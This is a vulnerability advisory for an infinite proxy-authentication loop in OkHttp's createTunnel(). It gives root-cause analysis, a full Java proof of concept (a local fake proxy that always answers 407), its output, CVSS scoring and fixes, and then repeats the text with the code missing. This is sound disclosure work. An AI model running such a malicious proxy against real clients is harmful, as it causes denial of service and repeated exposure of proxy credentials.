Vulnerability Information
| Field |
Value |
| Product |
OkHttp |
| Vendor |
Square (Block, Inc.) |
| Version Affected |
<= 5.0.0-alpha.14 (parent-5.3.2) |
| Vulnerability Type |
CWE-835: Loop with Unreachable Exit Condition |
| Severity |
High |
| CVSS 3.1 Score |
7.5 |
| CVSS 3.1 Vector |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Summary
A malicious HTTP proxy can trap OkHttp in an infinite loop within the createTunnel() method by repeatedly responding with 407 Proxy Authentication Required without sending Connection: close. The inner while loop has no iteration counter, causing CPU exhaustion, thread starvation, and repeated credential exposure.
Affected Component
File: okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/connection/ConnectPlan.kt
Function: createTunnel() (lines 420-459)
while (true) {
when (response.code) {
HttpURLConnection.HTTP_PROXY_AUTH -> {
nextRequest = route.address.proxyAuthenticator.authenticate(route, response)
?: throw IOException("Failed to authenticate with proxy")
if ("close".equals(response.header("Connection"), ignoreCase = true)) {
return nextRequest // Only exits if proxy sends Connection: close
}
// No iteration counter — loops forever if proxy keeps connection open
}
}
}
Root Cause Analysis
The createTunnel() method establishes an HTTPS tunnel through an HTTP proxy using the CONNECT method. When the proxy returns 407, OkHttp re-authenticates and retries. The loop only exits when:
- The proxy closes the connection (
Connection: close)
- The authenticator returns null
- An I/O error occurs
A malicious proxy that keeps the connection alive and always returns 407 causes infinite iteration. Unlike the outer RetryAndFollowUpInterceptor which has MAX_FOLLOW_UPS = 20, this inner loop has no counter.
Attack Scenario
- Attacker operates a malicious proxy server (or compromises a proxy via MITM)
- Victim's application is configured to use this proxy
- When the client attempts any HTTPS request, the proxy always responds 407 without
Connection: close
- OkHttp loops indefinitely, consuming CPU and repeatedly transmitting credentials
Reproduction Steps
Prerequisites
- Java 17+
- OkHttp 5.0.0-alpha.14
Steps
- Start a malicious proxy:
ServerSocket proxyServer = new ServerSocket(8888);
Socket client = proxyServer.accept();
// Always respond 407 without Connection: close
while (true) {
// read CONNECT request
// respond: 407 Proxy Authentication Required
// (no Connection: close header)
}
- Configure OkHttp to use the proxy:
OkHttpClient client = new OkHttpClient.Builder()
.proxy(new Proxy(Proxy.Type.HTTP, new InetSocketAddress("127.0.0.1", 8888)))
.proxyAuthenticator((route, response) -> {
return response.request().newBuilder()
.header("Proxy-Authorization", Credentials.basic("user", "pass"))
.build();
})
.build();
Request request = new Request.Builder()
.url("https://example.com/")
.build();
client.newCall(request).execute(); // Never returns
Expected Result
OkHttp should limit proxy authentication retries and abort after a reasonable number of attempts.
Actual Result
OkHttp loops indefinitely (1000+ iterations observed in PoC), consuming CPU and resending credentials.
Proof of Concept
Full PoC Script (Java)
import java.io.*;
import java.net.*;
import java.util.concurrent.atomic.*;
import okhttp3.*;
public class PocInfiniteAuthLoop {
static AtomicInteger authAttempts = new AtomicInteger(0);
public static void main(String[] args) throws Exception {
ServerSocket proxyServer = new ServerSocket(0);
int proxyPort = proxyServer.getLocalPort();
new Thread(() -> {
try {
Socket client = proxyServer.accept();
BufferedReader reader = new BufferedReader(
new InputStreamReader(client.getInputStream()));
OutputStream out = client.getOutputStream();
while (true) {
String line;
while ((line = reader.readLine()) != null && !line.isEmpty()) {}
int attempt = authAttempts.incrementAndGet();
if (attempt >= 1000) { client.close(); break; }
out.write(("HTTP/1.1 407 Proxy Authentication Required\r\n" +
"Proxy-Authenticate: Basic realm=\"proxy\"\r\n" +
"Content-Length: 0\r\n\r\n").getBytes());
out.flush();
}
} catch (Exception e) {}
}).start();
OkHttpClient client = new OkHttpClient.Builder()
.proxy(new Proxy(Proxy.Type.HTTP,
new InetSocketAddress("127.0.0.1", proxyPort)))
.proxyAuthenticator((route, response) -> {
return response.request().newBuilder()
.header("Proxy-Authorization", Credentials.basic("user", "pass"))
.build();
})
.callTimeout(java.time.Duration.ofSeconds(10))
.build();
Request request = new Request.Builder()
.url("https://example.com/").build();
try {
client.newCall(request).execute();
} catch (Exception e) {
System.out.println("Attempts: " + authAttempts.get());
// Output: Attempts: 1000
}
proxyServer.close();
}
}
PoC Output
[*] Malicious proxy on port 59108
[*] Initiating HTTPS request through malicious proxy...
[*] Proxy auth attempt #100
[*] Proxy auth attempt #200
...
[*] Proxy auth attempt #1000
[!] VULNERABILITY CONFIRMED: 1000 auth attempts without abort
[!] OkHttp has no iteration counter in createTunnel() inner loop
[!] Request failed after 1000 proxy auth attempts
[!] Error: IOException: unexpected end of stream
[!] VULNERABILITY CONFIRMED: Without callTimeout, this would loop infinitely
Impact
- Confidentiality: None directly (but credentials repeatedly exposed on wire)
- Integrity: None
- Availability: High - Thread/CPU exhaustion, application hangs indefinitely
- Additional: Proxy credentials transmitted 1000+ times, increasing interception probability
CVSS 3.1 Calculation
| Metric |
Value |
Justification |
| Attack Vector |
Network |
Malicious proxy accessible over network |
| Attack Complexity |
Low |
Simple 407 response, no special conditions |
| Privileges Required |
None |
Any proxy can respond with 407 |
| User Interaction |
None |
Automatic when client uses proxy for HTTPS |
| Scope |
Unchanged |
Only the client application is affected |
| Confidentiality |
None |
No direct data disclosure |
| Integrity |
None |
No data modification |
| Availability |
High |
Complete thread/CPU exhaustion |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5
Remediation Recommendations
- Add an internal iteration counter in
createTunnel(), limiting to 5 attempts regardless of connection state
- Detect repeated 407 with identical challenges and abort early
- Apply the existing
MAX_FOLLOW_UPS limit to the tunnel authentication loop
References
Vulnerability Information
Summary
A malicious HTTP proxy can trap OkHttp in an infinite loop within the
createTunnel()method by repeatedly responding with407 Proxy Authentication Requiredwithout sendingConnection: close. The inner while loop has no iteration counter, causing CPU exhaustion, thread starvation, and repeated credential exposure.Affected Component
File:
okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/connection/ConnectPlan.ktFunction:
createTunnel()(lines 420-459)Root Cause Analysis
The
createTunnel()method establishes an HTTPS tunnel through an HTTP proxy using the CONNECT method. When the proxy returns 407, OkHttp re-authenticates and retries. The loop only exits when:Connection: close)A malicious proxy that keeps the connection alive and always returns 407 causes infinite iteration. Unlike the outer
RetryAndFollowUpInterceptorwhich hasMAX_FOLLOW_UPS = 20, this inner loop has no counter.Attack Scenario
Connection: closeReproduction Steps
Prerequisites
Steps
Expected Result
OkHttp should limit proxy authentication retries and abort after a reasonable number of attempts.
Actual Result
OkHttp loops indefinitely (1000+ iterations observed in PoC), consuming CPU and resending credentials.
Proof of Concept
Full PoC Script (Java)
PoC Output
Impact
CVSS 3.1 Calculation
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5
Remediation Recommendations
createTunnel(), limiting to 5 attempts regardless of connection stateMAX_FOLLOW_UPSlimit to the tunnel authentication loopReferences
ConnectPlan.kt:420-459